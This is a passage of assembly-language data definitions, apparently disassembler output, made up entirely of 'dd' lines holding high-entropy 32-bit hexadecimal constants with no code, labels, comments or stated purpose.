		dd 404B9689h, 129361F9h, 87C5BD40h, 6831F1F7h, 0BA2B55B7h
		dd 0DDECDA62h, 5AF63D22h, 76FE3C25h, 6825122Ah,	0D309F279h
		dd 569FFB5Eh, 112AE90Bh, 55A5CD6Dh, 0F220C0E6h,	0BB5C4B67h
		dd 15E8834Dh, 6809CF27h, 0ABC642DEh, 0AC065221h, 93FC2C00h
		dd 1C34D258h, 1020B7C4h, 589CB02Dh, 0EDE8512h, 0ABD6E40Ch
		dd 33200DCDh, 33BA811Dh, 0DFB87B51h, 3425153Dh,	817FCD1h
		dd 3B1271F6h, 6ED5244h,	60A5290Eh, 0F38BDCBDh, 0E2B4D413h
		dd 0E997E8ECh, 44D9A5A8h, 0C0B3F720h, 357DCE33h, 0F73A20C1h
		dd 0DCEE2EDEh, 0C5A3B80Ch, 6CF90BC3h, 9ED05B69h, 1BC08AFEh
		dd 4B78E8F2h, 0BF314A60h, 85F05ED1h, 0CCF15B81h, 3E325D74h
		dd 0D11D54ECh, 833D4B51h, 7F1444FDh, 16C45E52h,	8B8EAE4Ch
		dd 0B987866h, 2C2E54A3h, 3A080854h, 0F6B900F0h,	812AF74Ch
		dd 7653E106h, 0B0C22D6h, 441E55D3h, 39E9B890h, 0EFC5AE63h
		dd 6A93F94Dh, 0E407B2FFh, 9DBF895h, 18F95EAh, 6F71F1DDh
		dd 6E432D6Fh, 57A8706Ah, 3616E568h, 0EFF006E9h,	4C7C09BBh
		dd 7ADD1F8Ch, 0ECE50A6Dh, 1382F81Ch, 988FBBDh, 5980676Ah
		dd 0E872F2CBh, 46625BF7h, 0C1017055h, 5F121476h, 21802CE9h
		dd 28341C35h, 0E3F64070h, 0EC69952h, 6F857E11h,	84628441h
		dd 13AC8AFh, 7659BC3Ah,	5D0337FAh, 0F9297607h, 6079C157h
		dd 0C47C2AA5h, 0A35AED05h, 16C72B80h, 0AF2709DBh, 0C184FD89h
		dd 296603A5h, 8588C1DDh, 0FC193C3Dh, 0FE5E0DE3h, 0ADCCE55Fh
		dd 7105F4D4h, 52826D6Ch, 3BB40094h, 0FF67C480h,	0C162DE06h
		dd 289F0124h, 0D6E9F9E1h, 0D4C6A909h, 362A8988h, 3D75165Dh
		dd 0A0DBF57h, 0F8C22170h, 7B4EC25Ah, 2E4BD2FFh,	0D2E25C55h
		dd 7CA27049h, 79FA5E64h, 3E17951h, 193EAE68h, 52F92C4Dh
		dd 825308ACh, 0F5BE3113h, 4497EDB3h, 0CEE8BBA3h, 1B82DE0h
		dd 505E0B0h, 762F36B4h,	7078DE1h, 5B1211CAh, 67842EF9h
		dd 59ED1274h, 4AD61428h, 26678D7Ch, 1BE90B9Fh, 9989C620h
		dd 0B050040Ah, 0F6D1EB62h, 0E76AF619h, 8D547B17h, 7E1FBBFFh
		dd 2109D37Ah, 89F7F4DEh, 0C005A3F6h, 0FB13C72Fh, 9B7948D7h
		dd 1E5A25CDh, 6B89F2F6h, 2F1D7314h, 4046F8ABh, 7802E912h
		dd 7B9BB6BEh, 0F15D1F2Dh, 11A7BC44h, 92BF8080h,	467A453Bh
		dd 0CE16F727h, 2D9DF64Bh, 9BD5FFD5h, 0CA5DDA16h, 0CDBF8705h
		dd 5F51D620h, 0F0E75ED1h, 0CE412382h, 0E481E2E4h, 0B11F099Bh
		dd 0D2524209h, 0B7CF1B20h, 16418540h, 1618303Eh, 0FBB99840h
		dd 51A7434Ah, 0C0F64DB5h, 4D9FD49Dh, 0C90E328Ch, 0FA0B4B50h
		dd 0F6145D08h, 0BF01ACA3h, 4E47F381h, 0ED2E72CFh, 56022542h
		dd 41E9627Eh, 7977004Ah, 4594C940h, 417CB801h, 8E94313h
		dd 0FED0F43Fh, 0D2F35F5Ah, 7C251058h, 0B563B398h, 0BFAD2CD7h
		dd 2E08710h, 0B45052ACh, 0FDB7E41h, 90E6D028h, 749F1EA4h
		dd 125D92CDh, 0FDB6EFD6h, 70143B81h, 60B03B15h,	4D569540h
		dd 0EDB0D5A7h, 5B1D6AFFh, 20E12926h, 29CC40Ah, 0EDB500BAh
		dd 737BEB80h, 73681228h, 3C9BF312h, 0E58081B5h,	6EDC0EAh
		dd 88DA98DBh, 318898EEh, 0F7756EF4h, 0B05BC30Dh, 0C712A3FDh
		dd 6B62BE84h, 0B699578Bh, 3D1FC79Dh, 0C8CF53C2h, 4DD56620h
		dd 0FCF10517h, 8D287735h, 57CFD0BAh, 0F5258593h, 7C486510h
		dd 0F994199Fh, 38684D64h, 0FF4F2682h, 0D4646772h, 4DA285Ch
		dd 0B17E09EDh, 2AE08077h, 0A2C85F4h, 0A208CD55h, 59F12F7Bh
		dd 8E40F549h, 769E298Ah, 0F687EA62h, 5D35853Dh,	7FCAC245h
		dd 8EF4E4D0h, 0C013771h, 30F7E381h, 0AC604EA8h,	762724F4h
		dd 587E806Dh, 0D8890C96h, 3318D882h, 1D0746Bh, 6C52117Ch
		dd 89EE580Ch, 68136046h, 6334D56h, 47967A12h, 0D25F54FBh
		dd 304C1F10h, 3162691Eh, 7DA2581h, 35216CB1h, 434B826Fh
		dd 5EBDAB70h, 0E8B8C2D6h, 0B0FE2105h, 92BF03B2h, 0DB67DFFEh
		dd 932F2D0Ch, 90C14BF6h, 5B7EB19h, 4829433Dh, 97AB4152h
		dd 0B605571Ch, 0B18932D1h, 0C0EA4AD4h, 504E028h, 5B275CE4h
		dd 0EC50C261h, 25B9E9Eh, 0A403015h, 676F5540h, 1F12712Ch
		dd 211DAE02h, 0EF0AE06Ah, 66942E62h, 0DEE70126h, 82010855h
		dd 0FDF74D26h, 137AD07Ch, 0E91C20E9h, 0F021A7Ch, 0D9FA750Ch
		dd 9E180D09h, 93ED8012h, 954C9A1Eh, 0C2DF60C2h,	0B89CDF34h
		dd 264C1A01h, 8A6EE935h, 2BC7D354h, 0D1FE12D8h,	2C61D71Bh
		dd 9F1749A3h, 0D82831C3h, 29EEA52Ch, 507A801h, 2537E6BFh
		dd 46E6FAB7h, 16BA504Bh, 0FC6BC31h, 2B5A59CCh, 9535BE5h
		dd 2EFECDFEh, 0BFE9F782h, 2C23596Fh, 0CB310FAh,	25536DB6h
		dd 0EAC75BA5h, 0AA68C020h, 0A0464B41h, 5582CAB9h, 0BF84C942h
		dd 45C3BF79h, 7EEBFAEEh, 0B6D72FD8h, 0ABDEBFDDh, 0D707D3E2h
		dd 0C5123367h, 98A5D017h, 0B4E66Ah, 936BB52Dh, 9678E912h
		dd 5CBF01AAh, 0E979F248h, 0AB006F6Fh, 0CEEF815Fh, 3CAB2D5Bh
		dd 4EB1D5Ch, 0BE005053h, 524F7C64h, 5EF52113h, 2ECD3500h
		dd 2E10C658h, 896742E9h, 0AF8EE5C0h, 0B2816069h, 2E8286Fh
		dd 55F8A098h, 2D7734BDh, 1EE1785Bh, 0E90F8431h,	40FF6EE8h
		dd 0D0633661h, 0EE5F2148h, 1733E3B0h, 0A5CDE3Bh, 81CED112h
		dd 1243ADBDh, 784A8436h, 7C80322Ah, 0BC037C5h, 5AE9BF6Eh
		dd 5F6B310h, 1E0DAD12h,	0C9E4DAE1h, 0B54A120Eh,	0EE90BB16h
		dd 953EBD6Bh, 65BA9409h, 4E63F155h, 45AD18Ah, 0C599E547h
		dd 94D823Eh, 0E95BC474h, 452EB9A3h, 9387FCE1h, 4213F59Fh
		dd 61F3A89h, 2BAB1E49h,	3E25DE35h, 3E2D7309h, 180B6589h
		dd 2803007Dh, 0C10B712Ah, 11A88B22h, 3E3C3501h,	5310F6ACh
		dd 0C85A2864h, 0B768A10Bh, 0B68E183Fh, 0B0500009h, 0C0C8FEEEh
		dd 530A05E8h, 0B16931E9h, 4449659Eh, 0A502F56Fh, 0FFC7382h
		dd 7942776Bh, 276535Fh,	6A9AE95Dh, 0FB0CEB5Ah, 0AA30515Eh
		dd 644F0019h, 9EBE5652h, 3F5CCA0Dh, 0D4B716B4h,	3160754Eh
		dd 0BCF8E955h, 0B21CC0DDh, 0F6DA869Eh, 0BB08D36Ah, 0EACE111Ch
		dd 5EF2C001h, 0E1BDB353h, 1230A470h, 0BF285AD1h, 0A89DC9E3h
		dd 0F2F020E2h, 2E58F497h, 3493C39Eh, 0E60BC776h, 654F736Ch
		dd 20C62F6Bh, 0F017E938h
		dd 45A67AE1h, 48E749DDh, 725ABAFFh, 663F3523h, 0F01781CAh
		dd 2BE86FABh, 0AF42DE8Bh, 78BD51D8h, 91161ED8h,	0BFC165DAh
		dd 31DEF252h, 51608342h, 0E7B03940h, 5B0BE3AEh,	69356F3Ch
		dd 0B23C8B0Bh, 1DDD00E5h, 0BD152D4Fh, 801A5CAh,	6F3230E9h
		dd 0A7601D9Dh, 0AF69ADFh, 3EAC0C2h, 538D09CFh, 0CB6C7902h
		dd 0BF40F509h, 7EB7D92Eh, 7F0CCDACh, 0F874F499h, 0EAA55F9Ah
		dd 0AAF9152Dh, 5BA80B6Eh, 4041D118h, 2F4C7B95h,	7893C0EEh
		dd 4123DE25h, 3F9561E9h, 0F0CBDFB9h, 0A3136702h, 0A46FD3D5h
		dd 0D8071F21h, 0AFBA75F5h, 10717709h, 90885829h, 24934F2Eh
		dd 79D1F924h, 3329054Eh, 0EB8120CEh, 0C2303D9Bh, 720F0C6Ah
		dd 0BE3461F3h, 26600BE9h, 976809C8h, 54F0187Ah,	525E975Ah
		dd 641F4DC0h, 0E7C1251Ch, 1EC24340h, 620C7725h,	0BDCC5CC6h
		dd 5C68539Ch, 930C958h,	0A636BC7Dh, 8CE0306Ch, 3194686Dh
		dd 4A9AA9A8h, 4093BA95h, 0A6783735h, 8F10BDEAh,	98952516h
		dd 828CAB4Dh, 38586BC0h, 0BC632630h, 4CF056A0h,	0FF4BA042h
		dd 0FD012205h, 7F621382h, 291E975Bh, 5AC55CF3h,	0B7A6FC1Ah
		dd 9020EF2h, 67062DF6h,	13223C9Fh, 51E6998h, 0AA797447h
		dd 0F47C01F7h, 55C99D54h, 30984D46h, 3738AE7Bh,	51B902BCh
		dd 0C34AB665h, 13CC8914h, 7B61927Eh, 1C2F575Eh,	0AF64D7F5h
		dd 5115E82Eh, 2F136868h, 0E775FCF2h, 0FAF8D605h, 84C636CAh
		dd 0FA7C315Fh, 873755DDh, 55AF12Eh, 0FD5A052Ah,	0D5CA8958h
		dd 0F79D0046h, 0C1041C1Ch, 3DE90BE8h, 9B604FE1h, 61622DC7h
		dd 1D34DD45h, 0B9619CD7h, 14A46211h, 0B5518CAh,	0EF800B2Bh
		dd 36037FA1h, 1039CF29h, 6813597Eh, 0E6BB6124h,	1CBC6D21h
		dd 5FF97AEDh, 0A681608Ch, 44F1F942h, 0E7A8C125h, 0A4B804D8h
		dd 83510A1Fh, 61BCBE7Bh, 625F8992h, 0B8017D1Eh,	2E43DBF7h
		dd 20505FBh, 1731B28Ah,	60FB9868h, 0AB6C5C58h, 54BE795Fh
		dd 812BC5Bh, 85E73711h,	3899EBB3h, 2E1A320h, 1D9EBA53h
		dd 105F72CDh, 3B239C2Bh, 0CA0364FCh, 7BE50292h,	62E90C07h
		dd 0CB4F2272h, 0D0985727h, 0D5FF5450h, 840501A3h, 282141C0h
		dd 7AF3882Dh, 1173C6Bh,	1004783Dh, 0BF146774h, 71096C4h
		dd 2330008Ch, 0BB534F16h, 5EDD76E7h, 5C7B029h, 378D40Fh
		dd 2DF8253Eh, 8AEB0717h, 0E95509A8h, 3BF278DDh,	5AF3D828h
		dd 84823436h, 0A953EE53h, 0FBB4AFFCh, 70AF9CB4h, 1E5D9764h
		dd 5B8F228Eh, 3581CD51h, 0D7F73A26h, 6A95257Dh,	0C5D0377Eh
		dd 681507E7h, 0CCBFE94Eh, 0D118CA2Bh, 0F2E40E52h, 9EFA12F5h
		dd 1C516DFh, 291A3FD4h,	5EE31D3h, 4D170908h, 0B0802E79h
		dd 0C11F8A5Eh, 630759E6h, 0C52F5800h, 0E8E9FE31h, 0C8EA604Ah
		dd 914A33E1h, 0C20F0BE3h, 0EB723510h, 0ECB45A0h, 460A0BB7h
		dd 27CEE3C0h, 0F0973CECh, 7FE6E7A6h, 351DDA53h,	0B5659060h
		dd 8F9DBE7Ah, 0E032CB73h, 1DC32877h, 4924B652h,	51575AF3h
		dd 0ABD7A741h, 0BC68DFDCh, 11122CBFh, 0D3A077F4h, 1E2F9453h
		dd 69AF2559h, 0D684A364h, 0E7005E10h, 0B151F12Ch, 0F5C9808Bh
		dd 0ECD9C1CCh, 6FF6F4E9h, 0F1A504D1h, 7096B8B6h, 0B504F000h
		dd 0FE25B753h, 73F7FEC7h, 17CF0C93h, 0FB10D7F6h, 0E87B682Fh
		dd 0D7B252C6h, 3023AF75h, 68B7027Dh, 42780B88h,	81C7E985h
		dd 600F959Dh, 9DA33EB4h, 61880DC8h, 0E9368905h,	7AD48144h
		dd 23900FAh, 5B77CB33h,	0C0A08969h, 0BCD4DE4Dh,	0C7C089D1h
		dd 7EC6CCB1h, 0D3CDAC40h, 4F1BE722h, 9A67BF4Dh,	49F42920h
		dd 0F5870D5Dh, 0BB08D6F7h, 27200E34h, 0FE00DF0Eh, 0E9F94D91h
		dd 0CC08B751h, 58C18598h, 0A08BAF20h, 47C0C027h, 4E97FB13h
		dd 22F6E176h, 810159EEh, 36DCCCC6h, 918B9544h, 0B59994FFh
		dd 46E26E5Eh, 8BB800A0h, 647A130Dh, 0FF8F9D24h,	0A39F896h
		dd 0C4D5E26Bh, 0B8A87244h, 99E95FA0h, 6ED1F64Eh, 5CD7DCFh
		dd 6A019345h, 787E4016h, 0B7602371h, 0E90F1517h, 5D6CCABCh
		dd 3A1FF738h, 2CBE1DCDh, 0EE88F61Ah, 0B9E2434h,	1CC8E6E8h
		dd 59BDEB2Fh, 6DD99F7Ah, 0AFABB9D5h, 6627A4h, 78345474h
		dd 6FAD331h, 500D6C5Dh,	5C8003FBh, 416F253Dh, 0C0216A5Fh
		dd 2F3CF382h, 107D119Bh, 80C9DF0Dh, 144E6859h, 0C860CAF3h
		dd 67D975AEh, 0BB0B832h, 0A1117729h, 2DE9240Bh,	9C414009h
		dd 0B4DFDE31h, 419ECB0h, 521A71B8h, 41165881h, 5E50A22Ah
		dd 0B24EBDACh, 66D0DF6Bh, 3DA8A45Fh, 4D290513h,	9FF701EFh
		dd 8522FE35h, 52755A0Ch, 0F4A20FC1h, 0EECA6801h, 33968DD9h
		dd 0CB877CC1h, 0EDA1D3Eh, 958D931h, 9EC55051h, 40F9459Ah
		dd 299478E1h, 81EFD74Eh, 835C35F1h, 55EAFF1h, 86E2D10Ch
		dd 0ED25B736h, 0BB5EFA05h, 0E90CE3CBh, 87C5C8BEh, 0D0025341h
		dd 6F675E81h, 0B25EBFC4h, 0AEF84ED4h, 19809572h, 5E37D7B9h
		dd 0D068330Bh, 0D30E3101h, 12E1BA4h, 56C10838h,	0BAC43A29h
		dd 2D5E0807h, 53FE2101h, 0F1692D4h, 17E9320Fh, 0D9554CDAh
		dd 9EB1F4Bh, 7BC81522h,	0AF13B7C2h, 0A48B89C1h,	135BE1Fh
		dd 0F6E9A3EDh, 0D0E97ADFh, 7AD5E5B2h, 6212004Eh, 514F789Fh
		dd 4918C1B9h, 0DE720A72h, 27343A64h, 52A28799h,	0C8A7C42h
		dd 0DA88AF62h, 4F237F39h, 762F55Bh, 0CFC55208h,	0CCC9DFC6h
		dd 69A0C66Ch, 3B76A7E6h, 53A02045h, 0E634279h, 21673DEh
		dd 0E0DDF74Dh, 9FD7FB22h, 0CAC23774h, 874C7F5Fh, 974A4EF4h
		dd 0DFE56843h, 0C50A2C6Eh, 0FB4B3DC3h, 648F8704h, 1CD692BDh
		dd 4FFC7D1Bh, 0A79BFC5Ch, 24D840F3h, 7FDFBCBh, 651706E3h
		dd 0D527C053h, 50583D7Fh, 54BB0EEFh, 0A9CA5A2Eh, 0FF6E7717h
		dd 6BE234C1h, 0C26B6DB0h, 8973318Ch, 1C5F2104h,	44E8B3ABh
		dd 0E59FB1A2h, 2977AD30h, 0B446FDDFh, 62A1E927h, 80748265h
		dd 76F11B19h, 0F3332B95h, 0BE6C4A51h, 4E461E2Ch, 2D59CF20h
		dd 0B0C180EFh, 0FB5516Bh, 1ED80DEh, 89AFD7ACh, 25F84C9Fh
		dd 5266F231h, 6EF84A5Fh, 0EAB90CD8h, 59A5DE2Dh,	0EAD62F25h
		dd 8C3D25Ch, 8B2C2597h,	0A73992A6h, 983746F0h, 0A16B2015h
		dd 982DF0B5h, 5B8B60B5h, 502478F6h, 6C9C4A50h, 2FB746B5h
		dd 2A3A5EF9h, 6A542C0h,	0F6087B2Dh, 0E9050E55h,	21234A53h
		dd 0CD444FF0h, 694AD79Ch, 957372DDh, 66588F7Eh,	9829A90h
		dd 25DD2B3Fh, 0D3ED906h, 1263295Ch, 8DEB7768h, 2082DEA1h
		dd 7ADAE853h, 649BD92Dh, 61D0B5DBh, 0F3F273ACh,	0F8B1D9F6h
		dd 64D0E961h, 8B8EFC7Bh, 597BF877h, 0B5104E5Dh,	0E781013Ah
		dd 35F23EC8h, 0FC05042Eh, 0C535EC68h, 5EAD5597h, 0CC8B57CFh
		dd 1BBA63A0h, 7C5AFDBBh, 9073FFA8h, 0A12FE9B9h,	689D8706h
		dd 5F092802h, 0D0CB8571h, 0A9CFBD8Eh, 10CBE904h, 85045E09h
		dd 5777AF5Dh, 7FA39FB2h, 0ADAC5F7Bh, 0CDFE5012h, 0A3E22A12h
		dd 48E0DC4h, 0F6FF515Dh, 3572122Ah, 17A3CB57h, 5B55497Ch
		dd 3120B818h, 5F1DA42Dh, 0C1431D06h, 0D0746B72h, 5F0319FBh
		dd 419BEC73h, 1185D607h, 0B15FE053h, 82425D3Eh,	68E9C589h
		dd 5EF84C6Ch, 5B223853h, 0F30979A6h, 22EAD4E9h,	0D325F95Bh
		dd 52933FEEh, 10EEB9E1h, 8101032Ah, 9C1FF5CEh, 0DDE6D806h
		dd 355A98E8h, 0DB09E5BCh, 0D15EE2A8h, 24AF4012h, 50C9EC59h
		dd 0BF41A609h, 29179133h, 0BA0BAF6Fh, 984AF582h, 56580BF6h
		dd 0BB3730E9h, 0EEB65236h, 5A7D7EB8h, 0F828B20Eh, 8EBB962Ch
		dd 0C33085D1h, 7E2E1DC2h
		dd 8455449Dh, 0C5D7C8E0h, 0AD6AD30Bh, 0A11CD761h, 88A56095h
		dd 0C03A5F26h, 152F4855h, 0D536E912h, 0F7E19BACh, 0DF2C82DAh
		dd 422CCB22h, 5D25DF93h, 0FCA400EEh, 5D095931h,	0C1E6D11Ch
		dd 0C601029Fh, 0E0ABF284h, 0DA7DDE51h, 6AD5F701h, 52940491h
		dd 0DC42D00h, 0F16A842Fh, 81ED899Bh, 92DC79B3h,	31ED5D58h
		dd 0D6C4C8Ch, 9DF4F6E8h, 394FEEECh, 0D3A828C6h,	4F48AC2Ch
		dd 0D5505862h, 0BD60A1D1h, 483D35C0h, 63054C4Dh, 0C05C4618h
		dd 1E3A8865h, 0D5BA544Eh, 0F73600CCh, 0EE59A6CBh, 5F50BCB8h
		dd 98A0088Ch, 10A8F50h,	0DD24E9DFh, 6051F740h, 6F50BF74h
		dd 751EC00Fh, 782678ACh, 0C9469520h, 8CA68472h,	0BFB2F0B7h
		dd 5DC3E87Ch, 3B01840Dh, 3A0E6CFAh, 0B082EBF1h,	44DF357Ch
		dd 45289460h, 0E94AD105h, 0C9BA3BFEh, 0F7CE076h, 6B084D99h
		dd 0EA810FA4h, 29582B61h, 0CCE23A59h, 575FE983h, 38D82A5Ah
		dd 0CD224B89h, 60A13A79h, 0DD848529h, 8F0516AEh, 0DEB46DD0h
		dd 0DB1400C7h, 2F77B85Bh, 0F8BDD107h, 999B27A2h, 94DD9CFDh
		dd 22730122h, 21CF0165h, 0AC080560h, 0B5EFB4FBh, 2485C179h
		dd 7BBDA53h, 695C933Eh,	27680788h, 57717607h, 8442E986h
		dd 0E0BE17E7h, 0FBF7132Fh, 0AB7B3B49h, 99376EEh, 9A77B8CFh
		dd 5BA2D5A3h, 9FA5Fh, 0C63FCA55h, 0C619842h, 4BFD40A3h
		dd 0AE588C66h, 0DB68A05Eh, 0E8A4A847h, 7F5F816Ah, 2C14599h
		dd 7E4DCE6Fh, 81808AF4h, 0EBD9BF44h, 685B5881h,	458B7EC7h
		dd 0EC7DEEB1h, 0B0DF9D52h, 5AE907C3h, 2073C257h, 0DE25107Ah
		dd 7263F451h, 568A51FCh, 315811D8h, 64FCB5C3h, 10D6689Dh
		dd 0AD4E6AB6h, 0E1F18B6Fh, 42D25F3Bh, 85CB60BDh, 284B2F52h
		dd 8A09B5Eh, 55348B27h,	0E99FAF15h, 0E1946393h,	39AFA805h
		dd 26560481h, 80A47B89h, 895B92EEh, 0F5A27FFCh,	7997DCF8h
		dd 38154AB4h, 0AE5E23C9h, 9F3FCF4Ah, 2B58A7h, 80C2FE5Ch
		dd 568A7E2h, 0F0A3764Fh, 0B0BFB600h, 0E9F0288Ch, 4C5D3325h
		dd 6D3A2511h, 57D02FF4h, 200245BFh, 1312F174h, 1AC03FBh
		dd 4000AD5Bh, 769D5F0Bh, 0E5FFC93Ah, 29D00C0Ah,	0B009BB10h
		dd 1AE518h, 2F68C6D0h, 82A89F75h, 0A5132508h, 5E039AF2h
		dd 0FC01A835h, 80504FF8h, 0F0621D04h, 7A5A8B5h,	4117B826h
		dd 0C28539B2h, 0DEE4B81Bh, 0E55B4740h, 5BAEE94Bh, 1F04A453h
		dd 51887201h, 20232A05h, 50E829C8h, 4BE9072Dh, 4D2DAEC7h
		dd 7168BCF4h, 955595FFh, 505F81FCh, 81D287E9h, 5340BF34h
		dd 0BDE9127Ah, 8AD4173Bh, 80E9C3F5h, 0EA77005Ah, 3A3C5D5Bh
		dd 17FAC229h, 3BA8074Fh, 0FB924FC5h, 4016C776h,	0CE056815h
		dd 5D11CF04h, 4044DCAEh, 58C70BFh, 581D7235h, 8354EABDh
		dd 6BA84BA1h, 9F887E5h,	66093780h, 0B8F4029Eh, 0F52FE79Ch
		dd 56D122B0h, 1A5A5Ch, 0CA365DC1h, 34CE8946h, 0BFB5D7E9h
		dd 0D8927CE3h, 0B12DDF4Bh, 32165FFFh, 0FE4F9E25h, 4CCAF0C7h
		dd 0E5F88880h, 12EBE26Ah, 0B3BEFDC4h, 5B142053h, 0AC27AAC2h
		dd 0F53932C9h, 776345A6h, 5F100C9Ch, 5DAF683Eh,	0CF0180C6h
		dd 0E96C1578h, 0AB048C40h, 0C2E08C1h, 147475C2h, 7DEA225Ah
		dd 81DBE660h, 6E3D8AE7h, 23CFBE97h, 2286CD4Ah, 5B2704FCh
		dd 0A9EB7AD9h, 2F0C9084h, 61BFFC5Fh, 0BB6707E9h, 21321371h
		dd 2DEB3564h, 0C4CB6E21h, 0ABEB2912h, 26E941C8h, 6A8F4018h
		dd 161F02B3h, 0C67D6730h, 0BE2CD6CBh, 4034CEC6h, 0D03CF713h
		dd 0FE518548h, 9FA2901h, 24DA897Fh, 1A709E09h, 0B77338h
		dd 33261E6h, 5B58DE09h,	40EA0AB9h, 0EE009D9Bh, 4184D3AFh
		dd 0BAF14B29h, 0E0DBEF29h, 656746h, 59CA2995h, 5EB5B850h
		dd 7E0FAB27h, 0FAA03941h, 0AE400B82h, 75226407h, 0A8B0174h
		dd 96E9515Ah, 7B984A4Dh, 5C308627h, 16E9D86Ch, 5D5B8BB5h
		dd 81432968h, 28F4F33Bh, 92EC8041h, 0B591DB00h,	66E9DA31h
		dd 0D41CBFB7h, 4675C0B5h, 0FD629D26h, 127DEE1Ah, 27485044h
		dd 0FC186E7Ah, 0D2027926h, 0CB9AB953h, 8FD6E072h, 8D2082F7h
		dd 77F833F0h, 0FA95FCF8h, 6AC707A4h, 60454720h,	0B13329E7h
		dd 20F3155Ch, 5B36F151h, 0ADDAF826h, 975452DCh,	0E0D35974h
		dd 0D593BEDh, 0D501612Bh, 5A080128h, 4DD0CAE9h,	1774E9Dh
		dd 132522EBh, 92D98958h, 68AE42A4h, 524F0755h, 0CD03FE8Ah
		dd 4ED85BF1h, 0AD508604h, 518420F7h, 2DE9A7A4h,	3857F94Ch
		dd 2C68C3BBh, 6A685DE1h, 0A993091Ah, 6752C976h,	33F42D3Dh
		dd 0E2A3E989h, 50007DA0h, 7C290D1Ah, 0F3D58934h, 57B1DBACh
		dd 0C0287A54h, 65E91852h, 5FF99578h, 66CD012Ch,	5E2FF310h
		dd 64C77410h, 5562FDBEh, 0DB0709DCh, 4CC98340h,	3C06CB5Fh
		dd 7653DD3h, 0E68069B6h, 0A3CE3387h, 8B77AAF2h,	9D94F7AAh
		dd 0D7BC8969h, 0FCBFF13Eh, 967D4927h, 30E92D0Fh, 85EB0268h
		dd 5A192312h, 0D634DAF8h, 0B85BC0A9h, 7A609C2Bh, 5F8AEA0Ch
		dd 0C8892F6Ch, 662534F6h, 0FBA4975Ah, 2400BC17h, 0E9D96250h
		dd 773446C5h, 9CD595CAh, 68E916BEh, 1F30FB62h, 2C0BAB4h
		dd 0D4F608ECh, 0B1A0B2E9h, 207AB0BEh, 48B82B58h, 0E8E20262h
		dd 40514911h, 2435DB01h, 3FE34C0h, 0FB8A268Bh, 7561F824h
		dd 0FC0C7D18h, 252EF051h, 0B67971E9h, 2BCEA7B9h, 701F74A4h
		dd 2A54F9E9h, 0F809EABBh, 57BE2793h, 247D5DE1h,	0E01EB193h
		dd 0F8A8E180h, 0F176FF98h, 84B05000h, 2858C130h, 44E919CFh
		dd 7A29D45Ch, 4A9856F0h, 0F4C39135h, 0E0BF00AEh, 33972618h
		dd 0A87717AAh, 0CE5EE2E9h, 33060206h, 2E97B60h,	58B5F97Ah
		dd 427E83B5h, 5A308A0Ch, 0C51E0A0Eh, 9901332Ah,	0CA680880h
		dd 0AAA3144Bh, 0A04C0613h, 0DEB2B6FEh, 45DB100h, 68C82847h
		dd 0D3C69DAAh, 0E913B77Ch, 0CCA4F17Ch, 485E9FD6h, 4A176870h
		dd 0F447A915h, 53EA3CEBh, 0E239BB07h, 0DEF503C0h, 60C9C0B2h
		dd 7BD513C2h, 0AD72A6D8h, 8ECC3FEh, 0C03916B6h,	0B5C901E6h
		dd 0C0F580DCh, 0CD9EEE28h, 91AD5FC5h, 7015C507h, 0FD01E255h
		dd 8078F62h, 0D4F5F05Fh, 0D34A64A5h, 0EF4701EEh, 0E85621EBh
		dd 654B8EE9h, 9125A391h, 167CA63Ah, 0B7B6227Ah,	7FF85130h
		dd 58051723h, 0F705EBC1h, 7805F75Fh, 18FD6067h,	8BC5F30Fh
		dd 0FB8B1E89h, 40001309h, 49094B69h, 91574128h,	60BED35Ah
		dd 0F56850EDh, 1CEB4953h, 0D887EB88h, 0C662525Bh, 0B05AFF50h
		dd 8A8B2850h, 13208E9Ah, 2A5676FEh, 7B767B8h, 0E8C05BF8h
		dd 0A199B407h, 0E0D0E4AAh, 10AB2C58h, 0E04B8CB3h, 0A87AC31Bh
		dd 6E6DE82Fh, 0AB054FCAh, 0D441261Dh, 296CC564h, 5EB17Fh
		dd 743AE908h, 6001A4A9h, 5E4002F8h, 4FDF48F7h, 0F82D3F17h
		dd 0E0AC9D9Dh, 0A4C9800Fh, 30ED7CD4h, 0EF16DC4Dh, 6686282Eh
		dd 62B25212h, 5388B0BBh, 1BEE92Fh, 28864D0h, 0CB49BFE0h
		dd 6D72BD10h, 5DE80113h, 0F1683920h, 0F199702h,	0B8A7A4D9h
		dd 18468584h, 45560Bh, 63716528h, 0C62A6736h, 99B4F72h
		dd 0B2F65DA8h, 1CC6D927h, 0E664C92Fh, 4FDEF05Fh, 0B1BA9EBh
		dd 46194A68h, 2EFA9D2Ch, 0D6E92CCEh, 7A12B852h,	1A757908h
		dd 0CBD88DBBh, 5B4A0371h, 0EBD6BCA3h, 4D5F2DCFh, 6465E639h
		dd 171B7143h, 0F5A801B3h, 8558070Bh, 15FC6AFDh,	9B32BD9Fh
		dd 2472C239h, 684A6BF6h, 0FCD13372h, 3ABF00D1h,	31624865h
		dd 2D4EFA4Dh, 57ED415Ah, 991EFD7Eh, 80008462h, 6C9A5C5h
		dd 0F4AA5FDEh, 0EFE81221h
		dd 215E17CFh, 2B232098h, 0DED91F31h, 0F4A8FB04h, 9E2A8604h
		dd 4F60E354h, 0E93F45BFh, 0BA19D03Ch, 0A1012F30h, 61BD556Ch
		dd 7720FE38h, 2B5D4167h, 190F1CFEh, 6BE5717Bh, 62F7620Bh
		dd 0D7C03B71h, 7BC1FD5h, 0DFF4B51Dh, 1774AD15h,	82D5D49h
		dd 14A42B0Ch, 0E9FB0B29h, 2493BDDFh, 32E342C8h,	0D9A20176h
		dd 0D9580804h, 2CBCF0DCh, 68403EB6h, 4C6E4BF7h,	5920080Ah
		dd 76E58014h, 30D109B3h, 0D1CD76E8h, 322009ECh,	663EC173h
		dd 0D0536EBEh, 5EEEF529h, 0E8B545F2h, 27E94D3Ah, 8B14F08Dh
		dd 62F6BA05h, 0FF801F59h, 96873EBh, 10DAE90Ch, 5691CF1Ah
		dd 67163F4Eh, 0A80A17EAh, 127FD5E8h, 0A85291E9h, 64B49104h
		dd 0FBF68100h, 7D5F493Eh, 0AC6C81A8h, 552D681Ah, 4E1B6653h
		dd 0AED38530h, 2CC5DDA3h, 45195687h, 13A668C7h,	77CAFFFBh
		dd 4598AF4Ah, 0B162B55Ch, 2B8DC0DBh, 5DD86F7Fh,	77A03B1Dh
		dd 22B0C902h, 256079FFh, 0F4F2C67Dh, 59CA011Bh,	0C79C0706h
		dd 990B3631h, 9F0EC35Bh, 0B6FA1211h, 0DFBE9743h, 471B17A5h
		dd 32AAC90h, 6F675C81h,	0C3BB5A39h, 0E90BA0F2h,	0AB9854C0h
		dd 2F214691h, 2662B9Ah,	0CECA3C5h, 1317A93Eh, 0D6EC4F8Ch
